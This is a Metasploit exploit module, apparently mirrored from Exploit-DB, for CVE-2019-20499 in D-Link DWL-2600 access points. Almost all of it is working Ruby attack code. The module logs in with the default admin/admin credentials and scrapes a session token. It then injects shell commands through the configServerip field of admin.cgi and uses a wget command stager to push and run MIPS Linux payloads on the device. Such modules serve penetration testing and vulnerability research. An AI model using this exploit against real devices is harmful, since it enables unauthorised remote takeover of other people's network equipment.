DLINK DWL-2600 – Authenticated Remote Command Injection (Metasploit)

  • 作者: Metasploit
    日期: 2020-03-31
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48274/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::CmdStager
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'DLINK DWL-2600 Authenticated Remote Command Injection',
    'Description' => %q{
    Some DLINK Access Points are vulnerable to an authenticated OS command injection.
    Default credentials for the web interface are admin/admin.
    },
    'Author'=>
    [
    'RAKI BEN HAMOUDA', # Vulnerability discovery and original research
    'Nick Starke' # Metasploit Module
    ],
    'License' => MSF_LICENSE,
    'References'=>
    [
    [ 'CVE', '2019-20499' ],
    [ 'EDB', '46841' ]
    ],
    'DisclosureDate' => 'May 15 2019',
    'Privileged' => true,
    'Platform' => %w{ linux unix },
    'Payload'=>
    {
    'DisableNops' => true,
    'BadChars' => "\x00"
    },
    'CmdStagerFlavor' => :wget,
    'Targets'=>
    [
    [ 'CMD',
    {
    'Arch' => ARCH_CMD,
    'Platform' => 'unix'
    }
    ],
    [ 'Linux mips Payload',
    {
    'Arch' => ARCH_MIPSLE,
    'Platform' => 'linux'
    }
    ],
    ],
    'DefaultTarget'=> 1
    ))
    
    register_options(
    [
    OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]),
    OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]),
    OptString.new('TARGETURI', [ true, 'Base path to the Dlink web interface', '/' ])
    ])
    end
    
    def execute_command(cmd, opts={})
    bogus = Rex::Text.rand_text_alpha(rand(10))
    
    post_data = Rex::MIME::Message.new
    post_data.add_part("up", nil, nil, "form-data; name=\"optprotocol\"")
    post_data.add_part(bogus, nil, nil, "form-data; name=\"configRestore\"")
    post_data.add_part("; #{cmd} ;", nil, nil, "form-data; name=\"configServerip\"")
    
    print_status("Sending CGI payload using token: #{@token}") # Note token is an instance variable now
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> normalize_uri(target_uri.path, 'admin.cgi'),
    'ctype'=> "multipart/form-data; boundary=#{post_data.bound}",
    'cookie' => "sessionHTTP=#{@token};",
    'data' => post_data.to_s,
    'query'=> 'action=config_restore'
    })
    
    unless res || res.code != 200
    fail_with(Failure::UnexpectedReply, "Command wasn't executed, aborting!")
    end
    
    rescue ::Rex::ConnectionError
    vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
    return
    end
    
    def exploit
    user = datastore['HttpUsername']
    pass = datastore['HttpPassword']
    rhost = datastore['RHOST']
    rport = datastore['RPORT']
    
    print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
    res = send_request_cgi({
    'uri'=> normalize_uri(target_uri.path, '/admin.cgi'),
    'method' => 'POST',
    'vars_post' => {
    'i_username' => user,
    'i_password' => pass,
    'login'=> 'Logon'
    }
    })
    
    unless res && res.code != 404
    fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
    end
    
    unless [200, 301, 302].include?(res.code)
    fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
    end
    
    print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
    
    delstart = 'var cookieValue = "'
    tokenoffset = res.body.index(delstart) + delstart.size
    endoffset = res.body.index('";', tokenoffset)
    @token = res.body[tokenoffset, endoffset - tokenoffset]
    
    if @token.empty?
    fail_with(Failure::NoAccess, "#{peer} - No Auth token received")
    end
    
    print_good("#{peer} - Received Auth token: #{@token}")
    if target.name =~ /CMD/
    unless datastore['CMD']
    fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
    end
    execute_command(payload.encoded)
    else
    execute_cmdstager(linemax: 100, noconcat: true)
    end
    end
    end